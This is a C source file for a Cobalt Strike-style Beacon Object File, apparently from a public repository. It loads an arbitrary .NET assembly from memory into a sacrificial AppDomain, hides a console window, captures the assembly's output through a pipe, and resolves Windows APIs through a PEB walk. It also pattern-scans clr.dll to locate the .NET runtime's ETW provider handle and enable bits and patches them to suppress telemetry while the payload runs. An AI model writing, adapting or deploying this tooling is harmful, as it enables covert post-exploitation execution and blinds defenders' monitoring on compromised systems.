Files
loland-inlineExecute/src/inlineExecute.c
T
2025-12-03 14:22:15 +08:00

816 lines
25 KiB
C

#include <windows.h>
#include <wchar.h>
#include "beacon.h"
#include "inlineExecute.h"
#pragma comment(lib, "mscoree.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
// WinAPI function declarations
typedef BOOL (WINAPI *_CreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
typedef BOOL (WINAPI *_SetStdHandle)(DWORD, HANDLE);
typedef HANDLE (WINAPI *_GetStdHandle)(DWORD);
typedef BOOL (WINAPI *_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL (WINAPI *_CloseHandle)(HANDLE);
typedef BOOL (WINAPI *_AllocConsole)(VOID);
typedef HWND (WINAPI *_GetConsoleWindow)(VOID);
typedef BOOL (WINAPI *_ShowWindow)(HWND, int);
typedef BOOL (WINAPI *_FreeConsole)(VOID);
typedef DWORD (WINAPI *_GetTickCount)(VOID);
// MSVCRT function declarations
DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*);
DECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char*, const char*, ...);
DECLSPEC_IMPORT void __cdecl MSVCRT$free(void*);
// Structure to hold all COM objects for cleanup
typedef struct _CLRContext {
ICLRMetaHost* pClrMetaHost;
ICLRRuntimeInfo* pRuntimeInfo;
ICorRuntimeHost* pCorRuntimeHost;
IUnknown* pAppDomainThunk;
AppDomain* pSacrifcialAppDomain;
Assembly* pAssembly;
MethodInfo* pMethodInfo;
} CLRContext;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY;
// PEB struct for peb-walk
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PEB_LDR_DATA* Ldr;
} PEB;
// Obtain DLL imagebase via PEB-walk
static HMODULE getImageBase(WCHAR* targetDllName) {
PEB* peb = (PEB*)__readgsqword(0x60);
PEB_LDR_DATA* ldr = peb->Ldr;
LIST_ENTRY* head = &ldr->InMemoryOrderModuleList;
LIST_ENTRY* curr = head->Flink;
while (curr != head) {
LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (entry->DllBase == NULL) {
break;
}
WCHAR* dllName = (WCHAR*)entry->BaseDllName.Buffer;
void* dllBase = entry->DllBase;
if (MSVCRT$_wcsicmp(dllName, targetDllName) == 0) {
return dllBase;
}
curr = curr->Flink;
}
return NULL;
}
// Obtain WinAPI ptr via PEB-walk
static void* getProcAddr(void* imageBase, char* exportName) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exportDir =
(IMAGE_EXPORT_DIRECTORY*)((BYTE*)imageBase +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* namesRVA = (DWORD*)((BYTE*)imageBase + exportDir->AddressOfNames);
WORD* ordinals = (WORD*)((BYTE*)imageBase + exportDir->AddressOfNameOrdinals);
DWORD* functions = (DWORD*)((BYTE*)imageBase + exportDir->AddressOfFunctions);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char* funcName = (char*)imageBase + namesRVA[i];
WORD ordinal = ordinals[i];
void* funcAddr = (BYTE*)imageBase + functions[ordinal];
if (MSVCRT$strcmp(funcName, exportName) == 0) {
return funcAddr;
}
}
return NULL;
}
static BOOL startCLR(CLRContext* ctx, size_t verbose) {
HRESULT hr;
// Initialize CLR FIRST
hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&ctx->pClrMetaHost);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] CLRCreateInstance failed: 0x%x\n", hr);
return FALSE;
}
hr = ctx->pClrMetaHost->lpVtbl->GetRuntime(ctx->pClrMetaHost, L"v4.0.30319", &xIID_ICLRRuntimeInfo, (LPVOID*)&ctx->pRuntimeInfo);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] GetRuntime failed: 0x%08x\n", hr);
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Runtime info obtained\n");
}
BOOL loadable;
hr = ctx->pRuntimeInfo->lpVtbl->IsLoadable(ctx->pRuntimeInfo, &loadable);
if (FAILED(hr) || !loadable) {
BeaconPrintf(CALLBACK_ERROR, "[-] Runtime is not loadable: 0x%08x (loadable: %d)\n", hr, loadable);
ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo);
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Runtime is loadable\n");
}
ICorRuntimeHost* pCorRuntimeHost = NULL;
hr = ctx->pRuntimeInfo->lpVtbl->GetInterface(ctx->pRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)&ctx->pCorRuntimeHost);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] GetInterface failed: 0x%08x\n", hr);
ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo);
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] ICorRuntimeHost obtained\n");
}
hr = ctx->pCorRuntimeHost->lpVtbl->Start(ctx->pCorRuntimeHost);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] CLR Start failed: 0x%08x\n", hr);
ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost);
ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo);
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR started successfully\n");
}
return TRUE;
}
static BOOL createPipe(HMODULE kernel32Base, HANDLE* phReadPipe, HANDLE* phWritePipe, size_t verbose) {
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
// NOW create pipe and console (AFTER CLR is started)
_CreatePipe pCreatePipe = (_CreatePipe)getProcAddr(kernel32Base, "CreatePipe");
// request for 1mb buffer
if (!pCreatePipe(phReadPipe, phWritePipe, &sa, 1048576)) {
BeaconPrintf(CALLBACK_ERROR, "[-] CreatePipe failed\n");
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Anonymous pipe created\n");
}
return TRUE;
}
static BOOL createConsole(HMODULE kernel32Base, size_t verbose) {
_GetConsoleWindow pGetConsoleWindow = (_GetConsoleWindow)getProcAddr(kernel32Base, "GetConsoleWindow");
BOOL consoleExisted = (pGetConsoleWindow() != NULL);
BOOL allocatedConsole = FALSE;
if (!consoleExisted) {
_AllocConsole pAllocConsole = (_AllocConsole)getProcAddr(kernel32Base, "AllocConsole");
pAllocConsole();
allocatedConsole = TRUE;
HMODULE hUser32 = GetModuleHandleA("user32.dll");
_ShowWindow pShowWindow = (_ShowWindow)GetProcAddress(hUser32, "ShowWindow");
HWND hWnd = pGetConsoleWindow();
if (hWnd) {
pShowWindow(hWnd, 0);
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Console created and hidden\n");
}
}
return allocatedConsole;
}
static HANDLE redirectPipes(HMODULE kernel32Base, HANDLE hReadPipe, HANDLE hWritePipe, size_t verbose) {
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
_GetStdHandle pGetStdHandle = (_GetStdHandle)getProcAddr(kernel32Base, "GetStdHandle");
// Save original stdout
HANDLE hOriginalStdout = pGetStdHandle(STD_OUTPUT_HANDLE);
if (hOriginalStdout == INVALID_HANDLE_VALUE) {
return NULL;
}
// Set stdout to write pipe handle
pSetStdHandle(STD_OUTPUT_HANDLE, hWritePipe);
pSetStdHandle(STD_ERROR_HANDLE, hWritePipe);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Redirected stdout/stderr to pipe\n");
}
return hOriginalStdout;
}
static BOOL createAppDomain(HMODULE kernel32Base, CLRContext* ctx, HANDLE hOriginalStdout, size_t verbose) {
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
HRESULT hr;
hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"PlaceholderDoman", NULL, &ctx->pAppDomainThunk);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] CreateDomain failed: 0x%08x\n", hr);
return FALSE;
}
hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pSacrifcialAppDomain);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] QueryInterface for AppDomain failed: 0x%08x\n", hr);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] AppDomain Created\n");
}
return TRUE;
}
static BOOL loadAssembly(HMODULE kernel32Base, unsigned char* assemblyBytes, size_t assemblyLength, HANDLE hOriginalStdout, CLRContext* ctx, size_t verbose) {
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = assemblyLength;
bounds[0].lLbound = 0;
SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, bounds);
if (pSafeArray == NULL) {
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to create SafeArray\n");
return FALSE;
}
void* pvData = NULL;
HRESULT hr;
hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] SafeArrayAccessData failed: 0x%08x\n", hr);
OLEAUT32$SafeArrayDestroy(pSafeArray);
return FALSE;
}
MSVCRT$memcpy(pvData, assemblyBytes, assemblyLength);
hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] SafeArrayUnaccessData failed: 0x%08x\n", hr);
OLEAUT32$SafeArrayDestroy(pSafeArray);
return FALSE;
}
hr = ctx->pSacrifcialAppDomain->lpVtbl->Load_3(ctx->pSacrifcialAppDomain, pSafeArray, &ctx->pAssembly);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Load_3 failed: 0x%08x\n", hr);
OLEAUT32$SafeArrayDestroy(pSafeArray);
return FALSE;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly Loaded\n");
}
hr = ctx->pAssembly->lpVtbl->EntryPoint(ctx->pAssembly, &ctx->pMethodInfo);
if (hr != S_OK) {
BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to find entry point of assembly.\n");
return FALSE;
}
return TRUE;
}
static wchar_t** parseArgs(char* assemblyArgs, int* argc) {
size_t converted = 0;
size_t len = MSVCRT$strlen(assemblyArgs) + 1;
wchar_t* assemblyArgsW = (wchar_t*)MSVCRT$malloc(len * sizeof(wchar_t));
MSVCRT$mbstowcs_s(&converted, assemblyArgsW, len, assemblyArgs, _TRUNCATE);
LPWSTR* argv = SHELL32$CommandLineToArgvW(assemblyArgsW, argc);
return argv;
}
static BOOL executeAssembly(HMODULE kernel32Base, CLRContext* ctx, char* assemblyArgs) {
VARIANT retVal;
ZeroMemory(&retVal, sizeof(VARIANT));
VARIANT obj;
ZeroMemory(&obj, sizeof(VARIANT));
obj.vt = VT_NULL;
int argc;
wchar_t** argv = parseArgs(assemblyArgs, &argc);
// BeaconPrintf(CALLBACK_OUTPUT, "[D] argc: %d\n", argc);
VARIANT vtPsa = { 0 };
// Always create the array, just with 0 or more elements
vtPsa.vt = (VT_ARRAY | VT_BSTR);
vtPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argc); // Works with argc=0!
// Only populate if we have arguments
for (long i = 0; i < argc; i++) {
wchar_t* argument = argv[i];
BSTR bstrArg = OLEAUT32$SysAllocString(argument);
if (bstrArg) {
OLEAUT32$SafeArrayPutElement(vtPsa.parray, &i, bstrArg);
// OLEAUT32$SysFreeString(bstrArg);
}
}
// Always pass the array (even if empty)
SAFEARRAY* psaStaticMethodArgs = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, 1);
long idx = 0;
OLEAUT32$SafeArrayPutElement(psaStaticMethodArgs, &idx, &vtPsa);
// EXECUTE ASSEMBLY
HRESULT hr;
hr = ctx->pMethodInfo->lpVtbl->Invoke_3(ctx->pMethodInfo, obj, psaStaticMethodArgs, &retVal);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[!] Assembly execution failed with HRESULT: 0x%08x\n", hr);
return FALSE;
}
// CLEANUP - DO NOT destroy vtPsa.parray directly!
// Let VariantClear handle it
OLEAUT32$VariantClear(&retVal);
OLEAUT32$VariantClear(&obj);
OLEAUT32$VariantClear(&vtPsa); // This will destroy vtPsa.parray
if (NULL != psaStaticMethodArgs) {
OLEAUT32$SafeArrayDestroy(psaStaticMethodArgs);
psaStaticMethodArgs = NULL;
}
return TRUE;
}
static char* readOutput(HANDLE hReadPipe, DWORD* pTotalBytesRead) {
DWORD bytesToRead = 65536;
char* returnData = (char*)MSVCRT$malloc(bytesToRead);
MSVCRT$memset(returnData, 0, bytesToRead);
DWORD bytesRead = 0;
DWORD totalBytesRead = *pTotalBytesRead;
while (KERNEL32$ReadFile(hReadPipe, returnData + totalBytesRead, bytesToRead - totalBytesRead - 1, &bytesRead, NULL) && bytesRead > 0) {
totalBytesRead += bytesRead;
if (totalBytesRead >= bytesToRead - 1) {
break;
}
}
*pTotalBytesRead = totalBytesRead;
return returnData;
}
static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) {
// Cleanup in reverse order of creation
if (ctx->pMethodInfo) {
ctx->pMethodInfo->lpVtbl->Release(ctx->pMethodInfo);
ctx->pMethodInfo = NULL;
}
if (ctx->pAssembly) {
ctx->pAssembly->lpVtbl->Release(ctx->pAssembly);
ctx->pAssembly = NULL;
}
// unloads SacrifcialAppDomain
if (ctx->pCorRuntimeHost && ctx->pSacrifcialAppDomain) {
ctx->pCorRuntimeHost->lpVtbl->UnloadDomain(ctx->pCorRuntimeHost, (IUnknown *)(ctx->pSacrifcialAppDomain));
}
if (ctx->pSacrifcialAppDomain) {
ctx->pSacrifcialAppDomain->lpVtbl->Release(ctx->pSacrifcialAppDomain);
ctx->pSacrifcialAppDomain = NULL;
}
if (ctx->pAppDomainThunk) {
ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk);
ctx->pAppDomainThunk = NULL;
}
if (ctx->pCorRuntimeHost) {
ctx->pCorRuntimeHost->lpVtbl->Stop(ctx->pCorRuntimeHost);
ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost);
ctx->pCorRuntimeHost = NULL;
}
if (ctx->pRuntimeInfo) {
ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo);
ctx->pRuntimeInfo = NULL;
}
if (ctx->pClrMetaHost) {
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
ctx->pClrMetaHost = NULL;
}
_FreeConsole pFreeConsole = (_FreeConsole)getProcAddr(kernel32Base, "FreeConsole");
pFreeConsole();
// BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR cleanup complete\n");
}
static void restoreStd(HMODULE kernel32Base, HANDLE hOriginalStdout, HANDLE hWritePipe) {
// Restore STD handles
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
pSetStdHandle(STD_ERROR_HANDLE, hOriginalStdout);
pSetStdHandle(STD_OUTPUT_HANDLE, hOriginalStdout);
// Close write pipes
_CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle");
pCloseHandle(hWritePipe);
}
int getImageSize(void* imageBase) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew);
int sizeOfImage = nt->OptionalHeader.SizeOfImage;
return sizeOfImage;
}
int isMovRcxCall(unsigned char* instrAddr) {
if (instrAddr[0] != 0x48) {
return 0;
}
if (instrAddr[1] != 0x8b) {
return 0;
}
if (instrAddr[2] != 0x0d) {
return 0;
}
if (instrAddr[7] != 0xe8) {
return 0;
}
return 1;
}
int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) {
int i = 0;
while (1) {
unsigned char* currAddr = funcAddr + i;
unsigned char currByte = *currAddr;
if (currByte == 0xc3) {
return 0;
}
unsigned char nextByte = *(currAddr + 1);
if (currByte != 0xff || nextByte != 0x15) {
i += 1;
continue;
}
int iatOffset = *(int*)(currAddr + 2);
unsigned char* rip = (currAddr + 6);
int* iatAddr = *(int**)(rip + iatOffset);
if (iatAddr == etwEventWrite) {
break;
}
i += 1;
}
return 1;
}
int* findDotNETRuntimeEnableBits() {
void* clrBase = getImageBase(L"clr.dll");
int clrSize = getImageSize(clrBase);
// assuming a max of 20 global variables that match the pattern
int MAX = 20;
int* globalVars[20] = { 0 };
int globalVarCounts[20] = { 0 };
for (int i = 0; i < clrSize; i++) {
unsigned char* addr = (unsigned char*)clrBase + i;
// matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h"
if (addr[0] != 0xf7 || addr[1] != 0x5) {
continue;
}
if (*(DWORD*)(addr + 6) != 0x80000000) {
continue;
}
// calculating global var address
unsigned char* rip = addr + 10;
int offset = *(DWORD*)(addr + 2);
int* globalVarAddr = (int*)(rip + offset);
// storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits
for (int i = 0; i < MAX; i ++) {
if (globalVars[i] == 0) {
globalVars[i] = globalVarAddr;
globalVarCounts[i] = 1;
break;
}
if (globalVars[i] == globalVarAddr) {
globalVarCounts[i] += 1;
}
}
}
// return the most frequent var - that would be Microsoft_Windows_DotNETRuntimeEnableBits
int mostFreq = 0;
for (int i = 1; i < MAX; i ++) {
if (globalVarCounts[mostFreq] < globalVarCounts[i]) {
mostFreq = i;
}
}
return globalVars[mostFreq];
}
int* findDotNetRuntimeHandle() {
void* clrBase = getImageBase(L"clr.dll");
int clrSize = getImageSize(clrBase);
void* ntdllBase = getImageBase(L"ntdll.dll");
void* etwEventWrite = getProcAddr(ntdllBase, "EtwEventWrite");
// assuming a max of 20 global variables that match the pattern
int MAX = 20;
int* handles[20] = { 0 };
int handleCounts[20] = { 0 };
for (int i = 0; i < clrSize; i++) {
unsigned char* addr = (unsigned char*)clrBase + i;
if (isMovRcxCall(addr) != 1) {
continue;
}
int callOffset = *(int*)(addr + 8);
unsigned char* rip = addr + 12;
unsigned char* callAddr = rip + callOffset;
if (isEtwFunc(callAddr, etwEventWrite) == 0) {
continue;
}
int handleOffset = *(int*)(addr + 3);
void* handleAddr = addr + 7 + handleOffset;
if (handleAddr == NULL) {
continue;
}
// store and increment counts in array
for (int i = 0; i < MAX; i ++) {
if (handles[i] == 0) {
handles[i] = handleAddr;
handleCounts[i] = 1;
break;
}
if (handles[i] == handleAddr) {
handleCounts[i] += 1;
}
}
}
// return the most frequent handle
int mostFreq = 0;
for (int i = 1; i < MAX; i ++) {
if (handleCounts[mostFreq] < handleCounts[i]) {
mostFreq = i;;
}
}
return handles[mostFreq];
}
void turnOffEtwHandle(int* handleAddr, int* handleVal) {
*handleVal = *handleAddr;
*handleAddr = 1;
}
void turnOnEtwHandle(int* handleAddr, int handleVal) {
*handleAddr = handleVal;
}
void turnOffEtwEnableBits(int* enableBitsAddr, int* enableBitsVal) {
*enableBitsVal = *enableBitsAddr;
*enableBitsAddr = 0;
}
void turnOnEtwEnableBits(int* enableBitsAddr, int enableBitsVal) {
*enableBitsAddr = enableBitsVal;
}
void go(char *args, int len) {
// parse arguments
datap parser;
BeaconDataParse(&parser, args, len);
unsigned char* assemblyBytes = BeaconDataExtract(&parser, NULL);
size_t assemblyLength = BeaconDataInt(&parser);
char* assemblyArgs = BeaconDataExtract(&parser, NULL);
size_t patchEtwHandle = BeaconDataInt(&parser);
size_t patchEtwEnableBits = BeaconDataInt(&parser);
size_t verbose = BeaconDataInt(&parser);
if (assemblyLength == 0) {
return;
}
// get function pointers
HMODULE kernel32Base = getImageBase(L"KERNEL32.DLL");
BOOL result;
// initialize custom context struct to hold CLR values
CLRContext ctx;
result = startCLR(&ctx, verbose);
if (!result) {
cleanupCLR(kernel32Base, &ctx);
return;
}
// provider handle patching
int* handleAddr;
int handleVal;
if (patchEtwHandle) {
handleAddr = findDotNetRuntimeHandle();
turnOffEtwHandle(handleAddr, &handleVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %x\n", handleVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle patched: %x\n", *handleAddr);
}
}
int* enableBitsAddr;
int enableBitsVal;
if (patchEtwEnableBits) {
enableBitsAddr = findDotNETRuntimeEnableBits();
turnOffEtwEnableBits(enableBitsAddr, &enableBitsVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits address: %p\n", enableBitsAddr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value: %x\n", enableBitsVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits patched: %x\n", *enableBitsAddr);
}
}
if (verbose) {
HMODULE clrBase = getImageBase(L"clr.dll");
BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase);
}
// create pipes
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
result = createPipe(kernel32Base, &hReadPipe, &hWritePipe, verbose);
// check and create console
BOOL allocatedConsole = createConsole(kernel32Base, verbose);
// redirect pipes
HANDLE hOriginalStdout = redirectPipes(kernel32Base, hReadPipe, hWritePipe, verbose);
if (!hOriginalStdout) {
cleanupCLR(kernel32Base, &ctx);
return;
}
// create AppDomain
result = createAppDomain(kernel32Base, &ctx, hOriginalStdout, verbose);
if (!result) {
cleanupCLR(kernel32Base, &ctx);
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
return;
}
// load target assembly
result = loadAssembly(kernel32Base, assemblyBytes, assemblyLength, hOriginalStdout, &ctx, verbose);
if (!result) {
cleanupCLR(kernel32Base, &ctx);
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
return;
}
// execute target assembly
result = executeAssembly(kernel32Base, &ctx, assemblyArgs);
if (!result) {
cleanupCLR(kernel32Base, &ctx);
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
return;
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly executed, reading output...\n");
}
// restore stdout immediately and close write pipe
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
// read from pipe
DWORD totalBytesRead = 0;
char* returnData = readOutput(hReadPipe, &totalBytesRead);
// close read pipe
_CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle");
pCloseHandle(hReadPipe);
if (totalBytesRead > 0) {
returnData[totalBytesRead] = '\0';
BeaconPrintf(CALLBACK_OUTPUT, "\n%s\n", returnData);
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[!] No output captured (%d bytes read)\n", totalBytesRead);
}
MSVCRT$free(returnData);
cleanupCLR(kernel32Base, &ctx);
restoreStd(kernel32Base, hOriginalStdout, hWritePipe);
// restore handleAddr
if (patchEtwHandle) {
turnOnEtwHandle(handleAddr, handleVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value restored: %x\n", *handleAddr);
}
}
// restore enable bits
if (patchEtwEnableBits) {
turnOnEtwEnableBits(enableBitsAddr, enableBitsVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value restored: %x\n", *enableBitsAddr);
}
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Done\n");
}